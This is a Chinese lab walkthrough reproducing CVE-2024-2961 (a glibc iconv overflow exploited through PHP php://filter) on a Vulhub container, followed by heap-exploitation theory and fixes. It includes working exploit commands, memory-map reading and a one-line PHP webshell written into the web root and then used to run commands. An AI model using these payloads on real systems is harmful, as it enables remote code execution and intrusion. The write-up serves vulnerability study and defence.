CVE-2024-2961 是 GNU C Library 中 iconv() 的一个输出缓冲区越界写漏洞。把字符串转换成 ISO-2022-CN-EXT 时,写转义序列会越过调用方给的缓冲区末尾最多 4 字节。按 CVSS 算它只有 7.3,攻击向量还是本地,单独看是组件层的问题。它危险的地方在于 PHP 的 php://filter:用户能把任意编码转换串成链并指定输入内容,于是应用里的任意文件读取可以被扩展成对堆内存的写入,再往前走一步就是代码执行。
本文在 Vulhub 的 php/CVE-2024-2961 靶场上把这套链条完整走一遍,攻击机 192.168.31.152,靶机 192.168.31.148。验证部分按过滤器逐项拆开,利用部分按 cnext 脚本的执行顺序拆开,最后用一节把内存管理的背景补上。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2024-2961 | 7.3(AV | GNU C Library ≤ 2.39 | 堆越界写(最多 4 字节),链式利用可致 RCE |
漏洞复现
复现环境准备
靶机上的 Vulhub 已经全量存在,直接进目录起靶:
┌──(root㉿kali)-[~]└─# cd /root/vulhub/php/CVE-2024-2961└─# docker compose up -d # 拉取镜像并启动容器 Network cve-2024-2961_default Created Container cve-2024-2961-web-1 Started
└─# docker ps # 确认容器状态CONTAINER ID IMAGE PORTS NAMEScve-2024-2961-web-1 vulhub/php:8.3.4-apache 0.0.0.0:8080->80/tcp, [::]:8080->80/tcp cve-2024-2961-web-1靶标就是一个单文件应用,源码只有三行:
<?php$data = file_get_contents($_POST['file']);echo "File contents: $data";用户提交的 file 被直接交给 file_get_contents,中间没有任何过滤。这既是任意文件读取,也是后面所有事情的入口。浏览器访问 http://192.168.31.148:8080/ 不带参数时,页面直接抛出 Warning 与 Deprecated,把脚本路径和行号一起印在响应里。
端口扫描与内容发现
┌──(kali㉿kali)-[~]└─$ sudo nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 10.2p1 Debian 6 (protocol 2.0)| vulners:| cpe:/a:openbsd:openssh:10.2p1:| CVE-2026-60002 9.4 https://vulners.com/cve/CVE-2026-60002| …(其余 26 条同为 2026 年的 OpenSSH 条目,无公开利用链,略)8080/tcp open http Apache httpd 2.4.57 ((Debian))| vulners:| cpe:/a:apache:http_server:2.4.57:| CVE-2024-38476 9.8 https://vulners.com/cve/CVE-2024-38476| CVE-2024-38474 9.8 https://vulners.com/cve/CVE-2024-38474| CVE-2024-38475 9.1 https://vulners.com/cve/CVE-2024-38475| CVE-2024-38473 8.1 https://vulners.com/cve/CVE-2024-38473| …(其余 175 条为按版本号匹配的条目,与靶标实际组件无关,略)MAC Address: 00:0C:29:B3:23:74 (VMware)
# Nmap done at Sat Oct 31 17:18:59 2026 -- 1 IP address (1 host up) scanned in 9.51 seconds65533 个端口是 closed(RST),没有 filtered,说明靶机没有防火墙拦截,对外只暴露 SSH 与 Web。22 端口是 Kali 自带的 OpenSSH,不是本次目标;真正的入口是 8080。
完整输出 225 行,vulners 一共列出 206 条记录,去重后是 100 个 CVE 编号。大部分是 2026 年的条目,只按版本号匹配,没有公开利用链。与 2.4.57 真正相关的是 2024 年 7 月那批:CVE-2024-38474 与 CVE-2024-38475 出在 mod_rewrite,CVE-2024-38473 出在 mod_proxy,CVE-2024-38476 出在 core(恶意后端响应头导致的 SSRF 与本地脚本执行),都修在 2.4.60。
但这批问题在这个靶标上没有触发条件。前三个依赖 mod_rewrite 或 mod_proxy,容器加载的 28 个 Apache 模块里没有这两个;38476 虽然属于 core,成立的前提是前面有反向代理、后端能返回特制响应头,而这台靶标是单容器的 mod_php,没有代理链路。
┌──(kali㉿kali)-[~]└─$ sudo docker exec cve-2024-2961-web-1 apache2ctl -M | grep -E "rewrite|proxy|cgi"(无输出)└─$ sudo docker exec cve-2024-2961-web-1 apache2ctl -M | grep -c module28OpenSSH 那 27 条同样是 2026 年的条目,没有公开利用链;其余的 Apache 条目也一样,是 vulners 用 cpe 匹配出来的噪声。
真正值得复现的 CVE-2024-2961 反而不在这份列表里。vulners 只认识 Apache 与 OpenSSH 的版本号,看不到容器里跑的 PHP 8.3.4 和 glibc 2.36,所以它给出的结论与靶标的实际攻击面无关。
端口层面没有可直接利用的东西,接下来看应用层有哪些入口。用 gobuster 跑一遍常见字典:
┌──(kali㉿kali)-[~]└─$ gobuster dir -u http://192.168.31.148:8080/ -w /usr/share/wordlists/dirb/common.txt -t 40 -q --no-error.htpasswdindex.php
.htaccess.htaserver-status只有 index.php 返回 200,其余要么是 Apache 的默认拒绝(.htaccess、.htpasswd),要么是只允许本地访问的状态页。整个站点就一个入口脚本,攻击面集中在这一个文件上。
确认漏洞指纹
┌──(kali㉿kali)-[~]└─$ curl -s -i http://192.168.31.148:8080/
HTTP/1.1 200 OKServer: Apache/2.4.57 (Debian)X-Powered-By: PHP/8.3.4Vary: Accept-EncodingContent-Length: 524Content-Type: text/html; charset=UTF-8
<br /><b>Warning</b>: Undefined array key "file" in <b>/var/www/html/index.php</b> on line <b>2</b><br /><br /><b>Deprecated</b>: file_get_contents(): Passing null to parameter #1 ($filename) of type string is deprecated in <b>/var/www/html/index.php</b> on line <b>2</b><br />三个信号同时成立:
X-Powered-By是 PHP/8.3.4,正是这个靶标的版本,镜像里的 glibc 是 2.36,落在受影响区间。- 报错把绝对路径 /var/www/html/index.php 和行号一起返回,说明 display_errors 是开的,开发模式运行。
- GET 请求不带 file 参数时报的是 Undefined array key “file”,与源码里 $_POST[‘file’] 对得上。
还有一个问题没解决:请求从哪个参数进来。目录里只有 index.php,这个靶标是我们自己起的,源码里参数叫 file,可以直接看;如果面对完全未知的目标,参数名只能靠试探。拿 32 个常见参数名,每个都提交一次 /etc/passwd,比较响应长度:不带有效参数时响应固定 524 字节,只有真正被读取的参数会让长度变化。
┌──(kali㉿kali)-[~]└─$ while read -r p; do sz=$(curl -s -o /dev/null -w '%{size_download}' -X POST --data-urlencode "$p=/etc/passwd" http://192.168.31.148:8080/) [ "$sz" != "524" ] && echo "参数 $p -> $sz 字节" done < params.txt参数 file -> 854 字节按响应长度做差分,是黑盒下定位输入点最直接的办法:不依赖报错信息,也不依赖参数名出现在页面上。参数锁定到 file 之后,再确认它到底做了什么:
┌──(kali㉿kali)-[~]└─$ curl -s -X POST -d "file=/etc/passwd" http://192.168.31.148:8080/index.php
File contents: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/usr/sbin/nologin...whatweb 给出同一组指纹:
┌──(kali㉿kali)-[~]└─$ whatweb -a 3 http://192.168.31.148:8080/http://192.168.31.148:8080/ [200 OK] Apache[2.4.57], PHP[8.3.4], X-Powered-By[PHP/8.3.4]漏洞验证
前面 nmap 的漏洞库匹配只能说明 Apache 的版本,PHP 和 glibc 都不在它的识别范围里。要判断这个靶标到底有没有 CVE-2024-2961,得回到行为上:先确认文件读取能走到过滤器,再确认过滤器里的 iconv 真的被执行。
在动手利用之前,要先把 PHP 的 stream wrapper 弄清楚,后面的命令都建立在它的语义上。
file_get_contents 的参数是 URL 而不是文件路径。字符串里出现 scheme:// 时,PHP 按对应协议去取数据:file:// 读文件,http:// 发请求,data:// 从 URL 里直接解码出内容,php://filter 则是对数据做流式处理。
php://filter 的完整形式是:
php://filter/[read=<过滤器链>|write=<过滤器链>]/resource=<数据源>过滤器链用竖线连接,按从左到右的顺序串行执行,每一级的输出是下一级的输入。这次要用到的三个过滤器是:
- convert.iconv.<源编码>.<目标编码>:调用 glibc 的 iconv() 做编码转换,CVE-2024-2961 就在这条路径上。
zlib.inflate:解压 raw deflate 数据,用于把体积大的载荷压缩后放进 URL。dechunk:把 HTTP chunked 编码的数据还原成原始字节,用于把数据切成指定大小的块。
验证的目标是确认这三条通道都能走通,以及目标进程的内存布局可以从外部读到。
第一步,基线读取。已知 /etc/passwd 在这台容器里是 839 字节:
┌──(kali㉿kali)-[~]└─$ curl -s -o /dev/null -w "size:%{size_download}\n" -X POST --data-urlencode "file=/etc/passwd" http://192.168.31.148:8080/index.phpsize:854854 减去响应前缀 File contents: (15 字节),正好是 839 字节。
第二步,确认过滤器在生效。加一层 base64:
┌──(kali㉿kali)-[~]└─$ curl -s -X POST --data-urlencode "file=php://filter/read=convert.base64-encode/resource=/etc/passwd" http://192.168.31.148:8080/index.phpFile contents: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2Jpbjovd...输出可以用 base64 -d 还原成原文,说明 resource 之后的过滤器链确实作用在了数据上。
第三步,确认 iconv 在目标进程里执行。改成 UTF-16LE 编码,ASCII 字符会被插入 0x00 字节,长度翻倍:
┌──(kali㉿kali)-[~]└─$ curl -s -X POST --data-urlencode "file=php://filter/read=convert.iconv.UTF-8.UTF-16LE/resource=/etc/passwd" http://192.168.31.148:8080/index.php | head -c 40 | xxd00000000: 4669 6c65 2063 6f6e 7465 6e74 733a 2072 File contents: r00000010: 006f 006f 0074 003a 0078 003a 0030 003a .o.o.t.:.x.:.0.:00000020: 0030 003a 0072 006f .0.:.r.o
└─$ curl -s -o /dev/null -w "size:%{size_download}\n" -X POST --data-urlencode "file=php://filter/read=convert.iconv.UTF-8.UTF-16LE/resource=/etc/passwd" http://192.168.31.148:8080/index.phpsize:16931693 = 15 + 839 × 2,每个字符后面多了一个 0x00。这一步很重要:它证明过滤器不是被 PHP 忽略、也不是错误降级到原样输出,而是真的调用了 iconv 并改变了字节流。
第四步,多级串联。两级过滤器按顺序执行,先转 UTF-16LE 再 base64:
┌──(kali㉿kali)-[~]└─$ curl -s -X POST --data-urlencode "file=php://filter/read=convert.iconv.UTF-8.UTF-16LE|convert.base64-encode/resource=/etc/passwd" http://192.168.31.148:8080/index.phpFile contents: cgBvAG8AdAA6AHgAOgAwADoAMAA6AHIAbwBvAHQAOgAvAHIAbwBvAHQAOgAvAGIAaQBuAC8AYgBhAHMAaAAKA...解码后能看到 UTF-16 的字节序列,说明链式执行没有问题。cnext 的过滤器链有十几级,靠的就是这个机制。
第五步,自备输入。利用时不能依赖目标上的文件,输入要由攻击者提供,用 data:// 把内容直接写在 URL 里:
┌──(kali㉿kali)-[~]└─$ curl -s -X POST --data-urlencode "file=data://text/plain;base64,SGVsbG8gdnVsaHVi" http://192.168.31.148:8080/index.phpFile contents: Hello vulhub第六步,压缩通道。载荷要塞进 URL,直接放会非常长,所以先 raw deflate 压缩、base64 编码,再让 zlib.inflate 在目标上解开:
┌──(kali㉿kali)-[~]└─$ python3 -c "import zlib,base64;c=zlib.compressobj(9,zlib.DEFLATED,-15);d=b'php2shell-zlib-test-'*4;print(base64.b64encode(c.compress(d)+c.flush()).decode())"K8goMCrOSM3J0a3KyUzSLUktLtEtoEAMAA==
└─$ curl -s -X POST --data-urlencode "file=php://filter/read=zlib.inflate/resource=data:text/plain;base64,K8goMCrOSM3J0a3KyUzSLUktLtEtoEAMAA==" http://192.168.31.148:8080/index.phpFile contents: php2shell-zlib-test-php2shell-zlib-test-php2shell-zlib-test-php2shell-zlib-test-注意这里用的是 raw deflate(wbits 为 -15),不带 zlib 头。带头的 zlib 数据交给 zlib.inflate 会先报 zlib: data error,这一点在手工构造载荷时容易踩。
第七步,读内存布局。file_get_contents 能读 /proc/self/maps,等于把目标进程的地址空间直接打印出来:
┌──(kali㉿kali)-[~]└─$ curl -s -X POST --data-urlencode "file=/proc/self/maps" http://192.168.31.148:8080/index.php | grep -E "libphp|rw-p" | head -67ffb006c3000-7ffb007e1000 r--p 00000000 00:36 3956989 /usr/lib/apache2/modules/libphp.so7ffb007e1000-7ffb00c3f000 r-xp 0011e000 00:36 3956989 /usr/lib/apache2/modules/libphp.so7ffb00c3f000-7ffb01636000 r--p 0057c000 00:36 3956989 /usr/lib/apache2/modules/libphp.so7ffb016df000-7ffb016e9000 rw-p 0101c000 00:36 3956989 /usr/lib/apache2/modules/libphp.solibphp.so 的四段映射都在,加上 /proc/self/maps 里的 libc 与匿名区,攻击者不需要任何权限就能知道代码和数据在内存里的位置。匿名区的分布可以再筛一遍:
┌──(kali㉿kali)-[~]└─$ curl -s -X POST --data-urlencode "file=/proc/self/maps" http://192.168.31.148:8080/index.php | awk '{split($1,a,"-"); sz=(strtonum("0x"a[2])-strtonum("0x"a[1]))/1024; if ($2 ~ /rw-p/ && sz>1024) print sz" KB", $0}' | head -52468 KB 563c3a9cc000-563c3ac35000 rw-p 00000000 00:00 0 [heap]2048 KB 7ffb00400000-7ffb00600000 rw-p 00000000 00:00 0第二个区块 7ffb00400000-7ffb00600000 是 2MB 对齐的匿名可读写映射,这就是 PHP 的 Zend 内存管理器(ZendMM)给一个请求分配的主堆。后面利用阶段的 Using 0x7ffb00400040 as heap 一行,指的就是这个区的末尾向前 2MB 再加 0x40,即 0x7ffb00600000 - 0x200000 + 0x40。
第八步,确认 glibc 版本:
┌──(kali㉿kali)-[~]└─$ sudo docker exec cve-2024-2961-web-1 ldd --version | head -1ldd (Debian GLIBC 2.36-9+deb12u4) 2.362.36 低于 2.39,命中漏洞区间。
到这里七项能力都验证过了:任意文件读、php://filter、convert.iconv、data://、zlib.inflate、/proc/self/maps、glibc 2.36。还剩一个问题需要解释:既然 iconv 已经能执行,为什么单独一次转换不会触发溢出。
原因是缓冲区的边界。iconv() 的 4 字节越界发生在输出缓冲区写满、需要写转义序列的时候。PHP 的过滤器每处理一块数据就分配一个输出缓冲区,尺寸按 ZendMM 的粒度对齐,末尾通常留着余量;这 4 字节落在余量里,碰不到下一个内存块的内容,进程照常运行。要让它真正生效,需要让缓冲区的有效长度正好等于分配尺寸,把 4 字节写进相邻空闲块的第一个字段。cnext 里的 dechunk 与 convert.iconv.L1.L1 负责这件事:前者把数据切成固定的块,后者是 Latin-1 到 Latin-1 的空转换,内容不变但会重新分配一次缓冲区,从而让每一步的块都落在预期的位置上。
漏洞利用
利用链要实现三件事:把越界 4 字节写到空闲链表保存的指针上;让后续的一次分配落在攻击者指定的地址;在那个地址上覆盖 ZendMM 的函数钩子,使某次内存释放变成 system 调用。
cnext-exploit.py 把这套动作编排成一个请求,流程分前置检查和四个阶段。
前置检查对应上一节验证的三项:data:// 能取数据、php://filter 能处理、zlib 扩展可用。脚本依次打印:
[*] The data:// wrapper works[*] The php://filter/ wrapper works[*] The zlib extension is enabled[+] Exploit preconditions are satisfied任何一项失败,脚本直接退出并说明缺哪一项,不会带着错误的假设往下走。
第一段,定位内存。脚本通过文件读取拿到 /proc/self/maps,解析每一段的起止地址、权限与文件路径,从中挑出满足三个条件的匿名区作为主堆:权限是 rw-p、大小不小于 2MB、结束地址按 2MB 对齐。然后计算 heap = 结束地址 - 2MB + 0x40。同一份 maps 里还能找到 libc 的路径,脚本把 libc 下载回来,用 pwntools 解析出 malloc、system、realloc 的偏移。
[*] Using 0x7ffb00400040 as heap这一行与上一节 maps 里的 7ffb00400000-7ffb00600000 对应:0x7ffb00600000 - 0x200000 + 0x40 = 0x7ffb00400040。
第二段,构造过滤器链。脚本最终发出的请求只有一个参数:
file=php://filter/read=<过滤器链>/resource=data:text/plain;base64,<压缩后的载荷>过滤器链按顺序是 zlib.inflate、zlib.inflate、dechunk、convert.iconv.L1.L1,然后 dechunk、convert.iconv.L1.L1,再到 dechunk、convert.iconv.L1.L1,接着 dechunk、convert.iconv.UTF-8.ISO-2022-CN-EXT,最后 convert.quoted-printable-decode、convert.iconv.L1.L1。
五组过滤器对应源码注释里的 step 0 到 step 4:
- step 0 布置堆:
zlib.inflate解压载荷,dechunk与 L1 空转把数据切成 0x100 大小的块,让每一块在堆上形成独立的分配。 - step 1 反转空闲链表:先分配一批同样大小的块,它们被释放后会把链表顺序颠倒,这样后面的分配就能按地址从低到高进行。
- step 2 放入假指针:在一批块的偏移 0x48 处写入一个指向假 bin 的地址(
ADDR_FAKE_BIN),为第三步改链表之后做准备。 - step 3 触发越界:这一组把转换换成 UTF-8 到
ISO-2022-CN-EXT,越界写落在相邻空闲块的链表指针上,链表末端从 0x…B00 变成 0x…B48 这种位置。 - step 4 覆盖堆结构:
convert.quoted-printable-decode在指定地址完成一次分配,把伪造的zend_mm_heap写进去。

第三段,覆盖堆结构。覆盖的目标是 zend_mm_heap,它记录了堆的元数据和一组函数钩子。脚本写入三样东西:free_slot 数组里指向自定义堆的项、custom_heap 结构里的三个函数指针(emalloc、efree、erealloc),以及 use_custom_heap 标志。三个指针被换成 libc 的 malloc、system、realloc,标志置位之后 PHP 释放内存时会走这三个钩子;当它释放那块内容是命令的缓冲区时,efree 实际调用的是 system(命令)。
第四段,发送与判定。整条链是一次 HTTP POST。命令前面被脚本拼上了 sleep 1,脚本据此看请求耗时:超过 1 秒说明 system 真的被执行了,没到 1 秒就判失败。
┌──(kali㉿kali)-[~]└─$ ./venv/bin/python cnext-exploit.py http://192.168.31.148:8080/index.php \ "echo PD89c3lzdGVtKCRfR0VUWydjJ10pOz8+ | base64 -d > /var/www/html/shell2.php"
[*] The data:// wrapper works[*] The php://filter/ wrapper works[*] The zlib extension is enabled[+] Exploit preconditions are satisfied[*] Using 0x7ffb00400040 as heap
EXPLOIT SUCCESS回连验证:
┌──(kali㉿kali)-[~]└─$ curl -s "http://192.168.31.148:8080/shell2.php?c=id"uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─$ curl -s "http://192.168.31.148:8080/shell2.php?c=uname%20-a"Linux 0eb54beaf8c5 6.17.10+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.17.10-1kali1 (2025-12-08) x86_64 GNU/Linux拿到 www-data。宿主机内核是 Kali 的 6.17.10,容器主机名 0eb54beaf8c5。写马能成,是因为官方 PHP 镜像的 /var/www/html 对 www-data 可写,真实环境里部署目录权限偏松的机器也有同样的问题。
复现结束后,靶标容器 cve-2024-2961-web-1 已退出,Vulhub 靶标目录仍留在靶机的 /root 下,普通用户不可读。所有请求从 192.168.31.152 直接发往靶机,未经跳板,写马与命令执行的请求都会留在容器的 Apache 访问日志里。
漏洞核心原理
这一节把内存管理的背景补齐,目标是让没接触过堆利用的读者也能看懂上面几个阶段在做什么。
PHP 的内存怎么分
PHP 每个请求的内存由 ZendMM 管理。它以 2MB 为页向系统申请内存,页内再按固定粒度切块:8、16、24 一直到 3072 字节,每种尺寸的空闲块串成一条链表。需要内存时从对应尺寸的链表头部取一块,用完再插回链表。空闲块的数据区开头 8 字节不存业务数据,存的是下一个空闲块的地址,链表就是靠它串起来的。
这解释了两件事。第一,为什么攻击者盯着 0x100(256 字节)这个尺寸:它是过滤器缓冲区常用的尺寸,块数量多、行为稳定。第二,为什么改一个指针就够:链表节点本身就是指针,改掉指针,下一次分配就会去别处取内存。
4 字节为什么足够
在 x86-64 Linux 上,用户态地址的高 2 字节固定为 0x0000,真正有意义的是低 6 字节。iconv 越界写正好是 4 字节,落在指针的低半部分,足以把指针从 0x…B00 改到 0x…B48,也就是同一 4GB 区间内的另一个位置。即使开了 ASLR,这种改动也不需要知道完整地址,只要知道堆的基址(从 /proc/self/maps 读)就能算准落点。

四步怎么串起来
第一步反转链表。ZendMM 释放块时把块插到链表头,所以先批量分配再批量释放,链表顺序会反过来;顺序对了,后面的分配才能连续落在相邻地址上。
第二步放好假指针。改链表之后,链表末端会指向 0x…B48 这种位置,这个位置上的内容是攻击者提前写入的 ADDR_FAKE_BIN。下一次分配会把这里的值当作“下一个空闲块”返回,于是分配落到了攻击者手里。
第三步触发越界。越界发生在 step 3 那一组的 UTF-8 到 ISO-2022-CN-EXT 转换上,4 字节写进空闲块的指针字段,链表就此偏离原本的地址。
第四步覆盖堆结构。ZendMM 自己的管理结构 zend_mm_heap 就在这片堆上,分配落点被控制之后,攻击者可以直接写它:free_slot 数组记录各尺寸链表的表头,custom_heap 记录 emalloc、efree、erealloc 三个钩子,use_custom_heap 决定是否使用这三个钩子。把 efree 换成 system,再让 PHP 释放命令缓冲区,命令就执行了。
为什么这条链不会崩
cnext 的作者在代码注释里解释了三点。pad 块保证每种尺寸都有连续的分配,不受进程当前堆状态影响;step 1 的反转让 step 2 的分配方向正确;step 2 的数据带 0\n 前缀,dechunk 时这些块会被摘掉,避免含指针的非 UTF-8 数据进入 ISO-2022-CN-EXT 转换导致报错中断。三点加起来,整条链的结果是确定的,不依赖运气。
修复方案
修复的核心在 glibc。Debian 12 的修复版本是 2.36-9+deb12u6(安全仓库为 u7),上游从 2.40 起包含补丁;只升级 PHP 不动 glibc 没有意义,因为越界发生在 libc 的 iconv 实现里。
应用层的改动是第二道防线:
- 不要把手里的用户输入直接交给 file_get_contents、include、require、file 这类函数。需要按名读文件时,用 realpath 解析后比对白名单前缀。
- 拒绝带 scheme 的值。合法的文件参数不应该出现冒号,出现 php://、data://、phar://、glob:// 就直接拒绝。
- 上传目录、缓存目录不要放在 Web 根目录下,并且不要让 Web 进程对站点目录有写权限。这次能落地 webshell,正是因为 /var/www/html 对 www-data 可写。
运行层的加固按容器来做:
- 根文件系统只读,站点目录用只读挂载,需要写的目录单独挂 tmpfs。
- 进程以非 root 运行,限制 capabilities,必要时用 seccomp 或 AppArmor 收敛系统调用。
- 容器里不挂载宿主的 /proc,避免 /proc/self/maps 之类的文件被读到。
检测上,日志里出现 php://filter 或 convert.iconv 就足以告警;单次请求返回几百 KB 以上的 HTML、或者响应里出现大量 0x00 字节,都是异常信号。
需要说明的是,open_basedir 挡不住这类攻击:它限制的是文件路径,不限制 stream wrapper 的过滤器执行,php://filter/convert.iconv 依然可用。allow_url_include 也无关,这里读的是本地 php:// 流。
参考链接
- Ambionics 的原始分析:Iconv, set the charset to RCE: exploiting CVE-2024-2961
- 利用脚本:ambionics/cnext-exploits
- NVD 条目:CVE-2024-2961
- Debian 安全跟踪与修复版本:security-tracker/CVE-2024-2961
- oss-security 公告:2024-04-17
- 靶场:vulhub/php/CVE-2024-2961